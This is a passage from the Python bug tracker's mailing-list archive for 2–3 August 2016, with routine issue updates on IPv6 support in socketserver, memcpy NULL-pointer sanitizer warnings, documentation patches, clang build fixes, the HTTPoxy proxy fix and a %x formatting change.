19:40:32 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Tue, 02 Aug 2016 23:40:32 +0000 Subject: [issue27670] Use https instead of http in the PYTHON_VERSION constant Message-ID: <1470181232.89.0.0745542408499.issue27670@psf.upfronthosting.co.za> New submission from St?phane Wirtel: The current url for bugs.python.org uses http and not https. I propose a patch with https, ---------- components: Interpreter Core messages: 271867 nosy: matrixise priority: normal severity: normal status: open title: Use https instead of http in the PYTHON_VERSION constant versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 19:45:30 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Tue, 02 Aug 2016 23:45:30 +0000 Subject: [issue27670] Use https instead of http in the PYTHON_VERSION constant In-Reply-To: <1470181232.89.0.0745542408499.issue27670@psf.upfronthosting.co.za> Message-ID: <1470181530.13.0.475812299981.issue27670@psf.upfronthosting.co.za> Changes by St?phane Wirtel : ---------- keywords: +patch Added file: http://bugs.python.org/file43985/issue27670.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 20:57:12 2016 From: report at bugs.python.org (Paul Marks) Date: Wed, 03 Aug 2016 00:57:12 +0000 Subject: [issue20215] socketserver.TCPServer can not listen IPv6 address In-Reply-To: <1389319382.42.0.481013787618.issue20215@psf.upfronthosting.co.za> Message-ID: <1470185832.36.0.391102835372.issue20215@psf.upfronthosting.co.za> Changes by Paul Marks : ---------- nosy: +Paul Marks _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 21:55:43 2016 From: report at bugs.python.org (Ethan Furman) Date: Wed, 03 Aug 2016 01:55:43 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1462844071.91.0.106881823757.issue26988@psf.upfronthosting.co.za> Message-ID: <1470189343.81.0.997222153837.issue26988@psf.upfronthosting.co.za> Ethan Furman added the comment: Okay, I think I'm done making changes unless any more mistakes are found. Thanks everyone for the pushing, prodding, and feedback! ---------- Added file: http://bugs.python.org/file43986/issue26988.stoneleaf.05.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 22:07:21 2016 From: report at bugs.python.org (Martin Panter) Date: Wed, 03 Aug 2016 02:07:21 +0000 Subject: [issue20215] socketserver.TCPServer can not listen IPv6 address In-Reply-To: <1389319382.42.0.481013787618.issue20215@psf.upfronthosting.co.za> Message-ID: <1470190041.54.0.882996065398.issue20215@psf.upfronthosting.co.za> Martin Panter added the comment: I also have reservations about using getaddrinfo() like this. Some potential problems: 1. IPv4-only compatibility: On my Linux computer, getaddrinfo("localhost", 0) returns AF_INET6 before AF_INET. Some programs, like Firefox and BSD netcat, will try both v4 and v6 and probably succeed (netcat first warned about ?connection refused? for IPv4). However, other programs only support IPv4 at all or by default. Socat supports v6 but requires an explicit TCP6 or pf=ip6 argument. Gnu netcat only seems to support IPv4. This could also have been a problem with smtpd, or maybe SMTP clients are supposed to be smarter and it is okay (I am not familiar with the protocol). 2. Similarly, maybe getaddrinfo() could return AF_INET first even though the user made a subclass with address_family = AF_INET6. 3. It seems a waste to do a DNS lookup just to choose the address_family and throw away the resolved addresses, only to then call bind() which will do the lookup all over again. If DNS times out, the delay until error reporting will be twice as long. 4. getaddrinfo(("", None)) has a short delay (DNS timeout?) for me. The Python documentation says the empty string "" is special-cased to mean INADDR_ANY (IPv4). It also says there is no special case for the IPv6 equivalent (in6addr_any), although it does seem to work in some cases, including bind(). But getaddrinfo() would parse the string in the underlying platform, not in Python. Some ideas: 1. Don?t look up hostnames, and only determine IPv6 if a numerical IP address is specified. I think this closer to the original proposal. Maybe use AI_NUMERICHOST? Or the simplistic test proposed in Issue 24209? 2. For the empty string address "", if the platform supports dual stack, use AF_INET6, bind to ?::? and clear the IPV6_V6ONLY option. See Issue 3213. 3. Bind sockets to all addresses returned by getaddrinfo(), not just the first. But this would be a much bigger and more radical change. Maybe just something to dream about. :) 4. Add an address_family parameter to the constructor, so the user can change to AF_INET6 without subclassing. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 22:35:24 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 03 Aug 2016 02:35:24 +0000 Subject: [issue27621] Finish IDLE Query dialog appearance and behavior. In-Reply-To: <1469512966.74.0.594331033204.issue27621@psf.upfronthosting.co.za> Message-ID: <1470191724.35.0.760323020849.issue27621@psf.upfronthosting.co.za> Terry J. Reedy added the comment: The file has the correct format for review, applies cleanly, and tests pass. The relief is gone (easy). The buttons are no longer symmetrical; this looks 'wrong' to me. (My reaction might be different if the widget was much wider, so the buttons were clearly right-justified rather than looking like their placement had a bug.) This results from using 3 columns instead of 2. I want to try the latter. I will switch error messages to the widget, see what happens, and deal with needed test changes. I will post before committing so you can test on Mac first. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 22:42:07 2016 From: report at bugs.python.org (Paul Marks) Date: Wed, 03 Aug 2016 02:42:07 +0000 Subject: [issue20215] socketserver.TCPServer can not listen IPv6 address In-Reply-To: <1389319382.42.0.481013787618.issue20215@psf.upfronthosting.co.za> Message-ID: <1470192127.09.0.521484884446.issue20215@psf.upfronthosting.co.za> Paul Marks added the comment: First off, the server_address=('localhost', port) case: this feature is fundamentally broken without support for multiple sockets, because the server can listen on at most one address, and any single choice will often be inconsistent with clients' expectations. For the (ip, port) case, the only question is whether an IPv4 address should create an AF_INET or dualstack (IPV6_V6ONLY=0) AF_INET6 socket; the latter needs a.b.c.d -> ::ffff:a.b.c.d translation. Then there's the typical ('', port) case. This should ideally create a server that accepts a connection on any supported family: - If the system supports dualstack AF_INET6 sockets, use one. - If the system only supports AF_INET sockets, use AF_INET. - If the system only supports AF_INET6 sockets, use AF_INET6. - If the system supports AF_INET and AF_INET6, but not dualstack, then you need multiple sockets. Or go with AF_INET and hope nobody needs IPv6 on such a system. (The legacy-free simple approach is to hard-code AF_INET6 and let the OS decide whether the socket should be dualstack or IPv6-only, but that only supports 2/4 of the above cases.) Users of "conn, addr = self.get_request()" often expect addr to be an IPv4 2-tuple, especially when handling IPv4 requests. So you have to normalize ('::ffff:192.0.2.1', 1234, 0, 0) to ('192.0.2.1', 1234). For real IPv6 requests, it's often more convenient to keep returning 2-tuples ('2001:db8::1', 1234) instead of 4-tuples. Another thing to watch out for is this HTTPServer code: host, port = self.socket.getsockname()[:2] self.server_name = socket.getfqdn(host) getfqdn() has a special case for '0.0.0.0', which doesn't recognize the IPv6 equivalents: >>> import socket >>> socket.getfqdn('0.0.0.0') 'redacted.corp.google.com' >>> socket.getfqdn('::') '::' >>> socket.getfqdn('::ffff:0.0.0.0') '::ffff:0.0.0.0' ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 23:09:56 2016 From: report at bugs.python.org (Martin Panter) Date: Wed, 03 Aug 2016 03:09:56 +0000 Subject: [issue20215] socketserver.TCPServer can not listen IPv6 address In-Reply-To: <1389319382.42.0.481013787618.issue20215@psf.upfronthosting.co.za> Message-ID: <1470193796.25.0.035226548092.issue20215@psf.upfronthosting.co.za> Martin Panter added the comment: Paul, if the user specifically wants to bind to a numeric IPv4 address, is there any advantage of choosing the dual-stack IPV6_V6ONLY=0 mode with a mapped ::ffff:a.b.c.d address? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 23:22:13 2016 From: report at bugs.python.org (Mark Lawrence) Date: Wed, 03 Aug 2016 03:22:13 +0000 Subject: [issue1005895] curses for win32 Message-ID: <1470194533.6.0.90503527216.issue1005895@psf.upfronthosting.co.za> Changes by Mark Lawrence : ---------- nosy: -BreamoreBoy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 2 23:54:38 2016 From: report at bugs.python.org (Paul Marks) Date: Wed, 03 Aug 2016 03:54:38 +0000 Subject: [issue20215] socketserver.TCPServer can not listen IPv6 address In-Reply-To: <1389319382.42.0.481013787618.issue20215@psf.upfronthosting.co.za> Message-ID: <1470196478.22.0.597384536541.issue20215@psf.upfronthosting.co.za> Paul Marks added the comment: > if the user specifically wants to bind to a numeric IPv4 address, is there any advantage of choosing the dual-stack [...]? If you're in a position to write AF_INET6-only code, then dualstack sockets can make things a bit cleaner (one family for all IP communication). But given that Python couldn't reasonably drop support for AF_INET-only systems, there's not a compelling reason to prefer dualstack sockets for IPv4 stuff. They're just two windows into the same kernel code, so the decision is mostly arbitrary. However, Python likes to expose IP addresses as plain strings without transparent ::ffff:0.0.0.0/96 handling, which tends to make dualstack sockets a leaky abstraction. Ideally, you'd be able to talk to the kernel using AF_INET or AF_INET6 without normal users knowing the difference. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 01:31:36 2016 From: report at bugs.python.org (Martin Panter) Date: Wed, 03 Aug 2016 05:31:36 +0000 Subject: [issue27570] Avoid memcpy(. . ., NULL, 0) etc calls In-Reply-To: <1468897030.77.0.552858173381.issue27570@psf.upfronthosting.co.za> Message-ID: <1470202296.35.0.914575008379.issue27570@psf.upfronthosting.co.za> Martin Panter added the comment: Patch 3 fixes some more cases I found in the array module: >>> a + a Modules/arraymodule.c:809:5: runtime error: null pointer passed as argument 1, which is declared to never be null Modules/arraymodule.c:809:5: runtime error: null pointer passed as argument 2, which is declared to never be null Modules/arraymodule.c:810:5: runtime error: null pointer passed as argument 1, which is declared to never be null Modules/arraymodule.c:810:5: runtime error: null pointer passed as argument 2, which is declared to never be null array('B') >>> a * 3 Modules/arraymodule.c:840:9: runtime error: null pointer passed as argument 1, which is declared to never be null Modules/arraymodule.c:840:9: runtime error: null pointer passed as argument 2, which is declared to never be null array('B') >>> a += a Modules/arraymodule.c:952:5: runtime error: null pointer passed as argument 1, which is declared to never be null Modules/arraymodule.c:952:5: runtime error: null pointer passed as argument 2, which is declared to never be null I wondered if there is a good argument for fixing these, or if it is only a theoretical problem. Apparently GCC can do optimizations about null pointer tests: . I don?t think any of the cases I found are instances of this problem, but I think fixing them helps keep the UB sanitizer output clean, so any errors causing practical behaviour problems will be easier to find. ---------- Added file: http://bugs.python.org/file43987/memcpy-null.v3.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 02:32:58 2016 From: report at bugs.python.org (Martin Panter) Date: Wed, 03 Aug 2016 06:32:58 +0000 Subject: [issue24278] Docs on Parsing arguments should say something about mem mgmt for formatters returning C strings In-Reply-To: <1432481258.46.0.49462668629.issue24278@psf.upfronthosting.co.za> Message-ID: <1470205978.92.0.673606296669.issue24278@psf.upfronthosting.co.za> Martin Panter added the comment: Will commit this soon, apart from dropping ?such as bytearray? for s#, which I don?t remember the reasoning. ---------- stage: patch review -> commit review versions: -Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 02:59:06 2016 From: report at bugs.python.org (Berker Peksag) Date: Wed, 03 Aug 2016 06:59:06 +0000 Subject: [issue26267] UUID docs should say how to get "standard form" In-Reply-To: <1454438589.41.0.991764109365.issue26267@psf.upfronthosting.co.za> Message-ID: <1470207546.02.0.845168046795.issue26267@psf.upfronthosting.co.za> Berker Peksag added the comment: > It also indents the attributes and descriptions to emphasize that they are part of the UUID instance, not the uuid module. Thanks for the patch, but please revert unrelated changes. ---------- nosy: +berker.peksag stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 03:17:01 2016 From: report at bugs.python.org (Roundup Robot) Date: Wed, 03 Aug 2016 07:17:01 +0000 Subject: [issue26576] Tweak wording of decorator docos In-Reply-To: <1458196198.66.0.0478952577579.issue26576@psf.upfronthosting.co.za> Message-ID: <20160803071653.23913.52276.160B728A@psf.io> Roundup Robot added the comment: New changeset e0f9f8be7963 by Berker Peksag in branch '3.5': Issue #26576: Clarify that the @deco syntax is not always an equivalent of f = deco(f) https://hg.python.org/cpython/rev/e0f9f8be7963 New changeset 08359651815e by Berker Peksag in branch 'default': Issue #26576: Merge from 3.5 https://hg.python.org/cpython/rev/08359651815e ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 03:19:15 2016 From: report at bugs.python.org (Berker Peksag) Date: Wed, 03 Aug 2016 07:19:15 +0000 Subject: [issue26576] Tweak wording of decorator docos In-Reply-To: <1458196198.66.0.0478952577579.issue26576@psf.upfronthosting.co.za> Message-ID: <1470208755.36.0.864105818231.issue26576@psf.upfronthosting.co.za> Berker Peksag added the comment: Thanks for the patch, Chris. I've only changed `func` to ``func`` (we don't use single backtick in reST.) ---------- nosy: +berker.peksag resolution: -> fixed stage: -> resolved status: open -> closed type: -> enhancement versions: +Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 03:21:57 2016 From: report at bugs.python.org (Ammar Askar) Date: Wed, 03 Aug 2016 07:21:57 +0000 Subject: [issue26267] UUID docs should say how to get "standard form" In-Reply-To: <1454438589.41.0.991764109365.issue26267@psf.upfronthosting.co.za> Message-ID: <1470208917.5.0.602071458937.issue26267@psf.upfronthosting.co.za> Ammar Askar added the comment: Done. As a side question, are changes like those indentation problems tracked somewhere else/merged in bulk like spelling changes? ---------- Added file: http://bugs.python.org/file43988/uuiddocs.diff4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 03:49:27 2016 From: report at bugs.python.org (Berker Peksag) Date: Wed, 03 Aug 2016 07:49:27 +0000 Subject: [issue26267] UUID docs should say how to get "standard form" In-Reply-To: <1454438589.41.0.991764109365.issue26267@psf.upfronthosting.co.za> Message-ID: <1470210567.5.0.440624362853.issue26267@psf.upfronthosting.co.za> Berker Peksag added the comment: I wouldn't consider it a problem since both forms are supported. Also note that you don't need to specify the "UUID." prefix when you use the indented form: .. class:: UUID(...) .. attribute:: bytes I don't think the benefit here is worth the amount of code churn. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 03:52:14 2016 From: report at bugs.python.org (Antoine Pitrou) Date: Wed, 03 Aug 2016 07:52:14 +0000 Subject: [issue27574] Faster parsing keyword arguments In-Reply-To: <1468944235.85.0.107735525995.issue27574@psf.upfronthosting.co.za> Message-ID: <1470210734.81.0.583473702681.issue27574@psf.upfronthosting.co.za> Changes by Antoine Pitrou : ---------- nosy: +pitrou _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 05:01:26 2016 From: report at bugs.python.org (INADA Naoki) Date: Wed, 03 Aug 2016 09:01:26 +0000 Subject: [issue27671] FAQ: len() is still function for good reason. Message-ID: <1470214886.13.0.870924776007.issue27671@psf.upfronthosting.co.za> New submission from INADA Naoki: https://docs.python.org/3/faq/design.html#why-does-python-use-methods-for-some-functionality-e-g-list-index-but-functions-for-other-e-g-len-list > The major reason is history. ... > but it?s a part of Python, and it?s too late to make such fundamental changes now. The functions have to remain to avoid massive code breakage. People seeing this answer may think "it's bad design, but remains for historical reason." But there is more positive reason why len is still function. http://effbot.org/pyfaq/why-does-python-use-methods-for-some-functionality-e-g-list-index-but-functions-for-other-e-g-len-list.htm ---------- assignee: docs at python components: Documentation messages: 271881 nosy: docs at python, methane priority: normal severity: normal status: open title: FAQ: len() is still function for good reason. _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 05:18:43 2016 From: report at bugs.python.org (Andrea De Pasquale) Date: Wed, 03 Aug 2016 09:18:43 +0000 Subject: [issue27010] email library could "recover" from bad mime boundary like (some?) email clients do In-Reply-To: <1463067718.45.0.558318505018.issue27010@psf.upfronthosting.co.za> Message-ID: <1470215923.12.0.0255442286716.issue27010@psf.upfronthosting.co.za> Andrea De Pasquale added the comment: Ok thanks, please kindly let me know. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 05:19:23 2016 From: report at bugs.python.org (Roundup Robot) Date: Wed, 03 Aug 2016 09:19:23 +0000 Subject: [issue20767] Some python extensions can't be compiled with clang 3.4 In-Reply-To: <1393335198.15.0.97052317234.issue20767@psf.upfronthosting.co.za> Message-ID: <20160803091920.24762.24547.C946E07C@psf.io> Roundup Robot added the comment: New changeset 441bbf4cc914 by Stefan Krah in branch '3.5': Issue #20767: Fix -R option for FreeBSD/clang. https://hg.python.org/cpython/rev/441bbf4cc914 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 05:23:50 2016 From: report at bugs.python.org (Roundup Robot) Date: Wed, 03 Aug 2016 09:23:50 +0000 Subject: [issue20767] Some python extensions can't be compiled with clang 3.4 In-Reply-To: <1393335198.15.0.97052317234.issue20767@psf.upfronthosting.co.za> Message-ID: <20160803092348.370.14276.49DA9A8B@psf.io> Roundup Robot added the comment: New changeset 65eb8d0ede75 by Stefan Krah in branch '2.7': Issue #20767: Fix -R option for FreeBSD/clang. https://hg.python.org/cpython/rev/65eb8d0ede75 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 05:26:58 2016 From: report at bugs.python.org (Stefan Krah) Date: Wed, 03 Aug 2016 09:26:58 +0000 Subject: [issue20767] Some python extensions can't be compiled with clang 3.4 In-Reply-To: <1393335198.15.0.97052317234.issue20767@psf.upfronthosting.co.za> Message-ID: <1470216418.78.0.662899132019.issue20767@psf.upfronthosting.co.za> Stefan Krah added the comment: @Evelyn @koobs Thanks for communicating with the other projects that are involved in this issue! Could you double-check that especially the 2.7 patch does exactly what you want? For 2.7 it's practically a one time chance. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 05:28:02 2016 From: report at bugs.python.org (Stefan Krah) Date: Wed, 03 Aug 2016 09:28:02 +0000 Subject: [issue20767] Some python extensions can't be compiled with clang 3.4 In-Reply-To: <1393335198.15.0.97052317234.issue20767@psf.upfronthosting.co.za> Message-ID: <1470216482.84.0.00773872612477.issue20767@psf.upfronthosting.co.za> Changes by Stefan Krah : ---------- stage: patch review -> commit review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 05:58:20 2016 From: report at bugs.python.org (Roundup Robot) Date: Wed, 03 Aug 2016 09:58:20 +0000 Subject: [issue23710] C API doc for PyObject_HEAD is outdated In-Reply-To: <1426776099.01.0.644113037586.issue23710@psf.upfronthosting.co.za> Message-ID: <20160803095817.19472.9736.0E9E3F8C@psf.io> Roundup Robot added the comment: New changeset 92b468020e07 by Berker Peksag in branch '3.5': Issue #23710: Update PyObject_HEAD documentation https://hg.python.org/cpython/rev/92b468020e07 New changeset 26dd6e7f1733 by Berker Peksag in branch 'default': Issue #23710: Merge from 3.5 https://hg.python.org/cpython/rev/26dd6e7f1733 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 05:59:23 2016 From: report at bugs.python.org (Berker Peksag) Date: Wed, 03 Aug 2016 09:59:23 +0000 Subject: [issue23710] C API doc for PyObject_HEAD is outdated In-Reply-To: <1426776099.01.0.644113037586.issue23710@psf.upfronthosting.co.za> Message-ID: <1470218363.45.0.932882975159.issue23710@psf.upfronthosting.co.za> Berker Peksag added the comment: Thanks for the patch. Committed capidocs.diff-2 with some tweaks. ---------- resolution: -> fixed stage: commit review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 06:05:32 2016 From: report at bugs.python.org (Luisa) Date: Wed, 03 Aug 2016 10:05:32 +0000 Subject: [issue18199] Windows: support path longer than 260 bytes using "\\?\" prefix In-Reply-To: <1371050681.12.0.381093438517.issue18199@psf.upfronthosting.co.za> Message-ID: <1470218732.41.0.543113070087.issue18199@psf.upfronthosting.co.za> Luisa added the comment: Long Path Tool is the perfect utility that can solve all the long path issues. It can help you remove blocked files or too long path files. You can easily fix file errors with this software. ---------- nosy: +luisa.sample at gmail.com -Aaron.Meurer, Voo, daniel.ugra, eryksun, ezio.melotti, haypo, jens, loewis, pitrou, santoso.wijaya, serhiy.storchaka, steve.dower, zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 06:19:02 2016 From: report at bugs.python.org (koobs) Date: Wed, 03 Aug 2016 10:19:02 +0000 Subject: [issue20767] Some python extensions can't be compiled with clang 3.4 In-Reply-To: <1393335198.15.0.97052317234.issue20767@psf.upfronthosting.co.za> Message-ID: <1470219542.66.0.269628845819.issue20767@psf.upfronthosting.co.za> koobs added the comment: @Stefan I'll touch base with Antoine (OP) and confirm that this is a root-cause, permanent solution ---------- stage: commit review -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 06:26:08 2016 From: report at bugs.python.org (koobs) Date: Wed, 03 Aug 2016 10:26:08 +0000 Subject: [issue20767] Some python extensions can't be compiled with clang 3.4 In-Reply-To: <1393335198.15.0.97052317234.issue20767@psf.upfronthosting.co.za> Message-ID: <1470219968.93.0.715647515195.issue20767@psf.upfronthosting.co.za> koobs added the comment: Not sure why the stage field changed on last submission. Restore accordingly to previous state ---------- stage: patch review -> commit review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 06:26:59 2016 From: report at bugs.python.org (Berker Peksag) Date: Wed, 03 Aug 2016 10:26:59 +0000 Subject: [issue18199] Windows: support path longer than 260 bytes using "\\?\" prefix In-Reply-To: <1371050681.12.0.381093438517.issue18199@psf.upfronthosting.co.za> Message-ID: <1470220019.63.0.282555787528.issue18199@psf.upfronthosting.co.za> Changes by Berker Peksag : ---------- nosy: -luisa.sample at gmail.com _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 06:27:14 2016 From: report at bugs.python.org (Berker Peksag) Date: Wed, 03 Aug 2016 10:27:14 +0000 Subject: [issue18199] Windows: support path longer than 260 bytes using "\\?\" prefix In-Reply-To: <1371050681.12.0.381093438517.issue18199@psf.upfronthosting.co.za> Message-ID: <1470220034.63.0.0845811682575.issue18199@psf.upfronthosting.co.za> Changes by Berker Peksag : ---------- Removed message: http://bugs.python.org/msg271888 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 06:27:41 2016 From: report at bugs.python.org (Berker Peksag) Date: Wed, 03 Aug 2016 10:27:41 +0000 Subject: [issue18199] Windows: support path longer than 260 bytes using "\\?\" prefix In-Reply-To: <1371050681.12.0.381093438517.issue18199@psf.upfronthosting.co.za> Message-ID: <1470220061.3.0.494275379984.issue18199@psf.upfronthosting.co.za> Changes by Berker Peksag : ---------- nosy: +Aaron.Meurer, Voo, daniel.ugra, eryksun, ezio.melotti, haypo, jens, loewis, pitrou, santoso.wijaya, serhiy.storchaka, steve.dower, zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 06:45:35 2016 From: report at bugs.python.org (SilentGhost) Date: Wed, 03 Aug 2016 10:45:35 +0000 Subject: [issue27594] Assertion failure when running "test_ast" tests with coverage. In-Reply-To: <1469226726.58.0.53789092151.issue27594@psf.upfronthosting.co.za> Message-ID: <1470221135.5.0.721802680903.issue27594@psf.upfronthosting.co.za> SilentGhost added the comment: Cannot reproduce this on Linux ---------- nosy: +SilentGhost _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 07:04:31 2016 From: report at bugs.python.org (Berker Peksag) Date: Wed, 03 Aug 2016 11:04:31 +0000 Subject: [issue8418] Crash 0xc0000417 STATUS_INVALID_CRUNTIME_PARAMETER on program exit In-Reply-To: <1271425642.06.0.059153749397.issue8418@psf.upfronthosting.co.za> Message-ID: <1470222271.41.0.00580821867659.issue8418@psf.upfronthosting.co.za> Berker Peksag added the comment: I'm going to close this as 'works for me' since there is no way to reproduce the crash consistently. Also, we don't support Windows XP anymore and sum.v4.py worked fine for me in Windows 10. See also http://code.activestate.com/lists/python-list/191743/ for the python-list thread. ---------- nosy: +berker.peksag resolution: -> works for me stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 07:15:23 2016 From: report at bugs.python.org (Hans-Peter Jansen) Date: Wed, 03 Aug 2016 11:15:23 +0000 Subject: [issue27568] "HTTPoxy", use of HTTP_PROXY flag supplied by attacker in CGI scripts In-Reply-To: <1468881013.81.0.152859673137.issue27568@psf.upfronthosting.co.za> Message-ID: <1470222923.11.0.0441376117716.issue27568@psf.upfronthosting.co.za> Hans-Peter Jansen added the comment: > (In msg271688, I pondered if I need to backport a behavior change from issue26804 which will allow lower cased proxies, but then, I decided against it as it will introduce unnecessary changes to this security fix releases). Hmm, Senthil, while I understand, that you want to avoid unnecessary changes, doesn't this result in non deterministic behaviour of proxy handling without my patch? + header. If you need to use an HTTP proxy in a CGI environment, either use + ``ProxyHandler`` explicitly, or make sure the variable name is in + lowercase (or at least the ``_proxy`` suffix). Without 26804, this fix works by chance only for 3.3 and 3.4, since it depends on os.environ dictionary order, which is non deterministic by definition. 26804 resolves this by making sure, a lower case _proxy var has a higher priority over the other variants. ---------- nosy: +frispete _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 07:18:43 2016 From: report at bugs.python.org (Peter Tomcsanyi) Date: Wed, 03 Aug 2016 11:18:43 +0000 Subject: [issue27672] x fromat of % operator broken in Python 3.5.2 Message-ID: <1470223123.65.0.568086751938.issue27672@psf.upfronthosting.co.za> New submission from Peter Tomcsanyi: In Python 3.4.4 (64-bit) and in many previous versions it worked like this: >>> "%02x" % 12.99 '0c' Now in Python 3.5.2 (64-bit) it shows an error: >>> "%02x" % 12.99 Traceback (most recent call last): File "", line 1, in "%02x" % 12.99 TypeError: %x format: an integer is required, not float This problem broke some of my code which uses turtle.py (which is part of the cpython distribution), but I can see similar problems also in some third party code (e.g. I can see it in canvasvg3.py). So I kindly ask for returning the 3.4-like interpretation of the x format (and o format and maybe also other formats). ---------- components: Interpreter Core messages: 271894 nosy: PeterTom priority: normal severity: normal status: open title: x fromat of % operator broken in Python 3.5.2 type: behavior versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 07:30:53 2016 From: report at bugs.python.org (SilentGhost) Date: Wed, 03 Aug 2016 11:30:53 +0000 Subject: [issue27672] x fromat of % operator broken in Python 3.5.2 In-Reply-To: <1470223123.65.0.568086751938.issue27672@psf.upfronthosting.co.za> Message-ID: <1470223853.71.0.201744474814.issue27672@psf.upfronthosting.co.za> SilentGhost added the comment: It's not an accidental change (so it's not "broken" by any definition), see issue 19995 for details. ---------- nosy: +SilentGhost resolution: -> wont fix stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 07:33:36 2016 From: report at bugs.python.org (awilfox) Date: Wed, 03 Aug 2016 11:33:36 +0000 Subject: [issue5404] Cross-compiling Python In-Reply-To: <1235984629.04.0.168155698084.issue5404@psf.upfronthosting.co.za> Message-ID: <1470224016.46.0.944940065665.issue5404@psf.upfronthosting.co.za> awilfox added the comment: Bootstrapping a Linux environment based on musl libc from glibc host requires cross-compilation to the same architecture (for example, configure is --build=i686-pc-linux-gnu --host=i686-pc-linux-musl). The Python core will build and link fine in this configuration; unfortunately, every module in sharedmods fails to link if the ABI is different, as Lib/distutils/command/build_ext.py:732 uses sys.abiflags and the native Python is used. For example, my distribution ships with no ABI flags (libpython3.4.so), but if I use the default enabled PyMalloc (libpython3.4m.so), I will see: /usr/libexec/gcc/i686-foxkit-linux-musl/ld: cannot find -lpython3.4 collect2: error: ld returned 1 exit status during linking of all sharedmods. As I am relatively unfamiliar with distutils' internals I am quite unsure how to proceed to fix this, but am willing test any patches. For now, I just disable/enable PyMalloc and wide Unicode to match the ABI of the host computer. ---------- components: +Cross-Build -Build nosy: +Alex.Willmer, awilfox versions: +Python 3.4 -Python 3.2 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 07:39:41 2016 From: report at bugs.python.org (Stefan Rosewig) Date: Wed, 03 Aug 2016 11:39:41 +0000 Subject: [issue27673] lambda function in loop Message-ID: <1470224381.05.0.371491506941.issue27673@psf.upfronthosting.co.za> New submission from Stefan Rosewig: Trying to build tkinter menu dynamically by reading an ini file (configparser) I detect an issue with the lambda function used inside a loop. If the loop variable is used as option in the lambda function, the lambda is not place in time using the current value, all functions are created when leaving the calling function using the last value of the loop variable. There is a simple workaround, just use a separate function to add the menu-item. The attached demo shows both, the "Working" menu which was created by a function and does what was expected and the "Failure" menu which was created inside the loop itself and doesn't do what was expected. Since the problem is not bound to configparser I used a simple loop walking through a list of menu item names to simulate the reasing of an ini file. Inside the loop a menu item with the name is appende to the Failure menu calling lambda:cmd(name) as command. Also a function is called uding the name as parameter wich appends a Menu item to the Working menu using the identic options as for Failure menu. When the loop is finidhed the value of teh loop variable is set to "senseless" which should have no effect. The function cmd(param) just appends a string including the param value to the output. if the script is started the menus ar built and look identical but if you click on a Working menu item the name of the item is printed. if you click on the Failure menu item "senseless" is printed for each item which is the value I set after the loop. >From my point of view all lambda commands are build when the calling function is left using the value of the variable at this time. this lead in the demo attached to identic function calls for the Failure menu. For the working menu a separate function is called and the lambda is build at the end of this function which leads to the expected behaviour. I'm running Python 3.5.2 (v3.5.2:4def2a2901a5) 64 Bit on Windows-10 Pro 64 ---------- components: Tkinter files: lambda-prob.pyw messages: 271897 nosy: Thaloss66 priority: normal severity: normal status: open title: lambda function in loop type: behavior versions: Python 3.5 Added file: http://bugs.python.org/file43989/lambda-prob.pyw _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 07:44:02 2016 From: report at bugs.python.org (Peter Tomcsanyi) Date: Wed, 03 Aug 2016 11:44:02 +0000 Subject: [issue27672] x fromat of % operator broken in Python 3.5.2 In-Reply-To: <1470223123.65.0.568086751938.issue27672@psf.upfronthosting.co.za> Message-ID: <1470224642.01.0.51528290716.issue27672@psf.upfronthosting.co.za> Peter 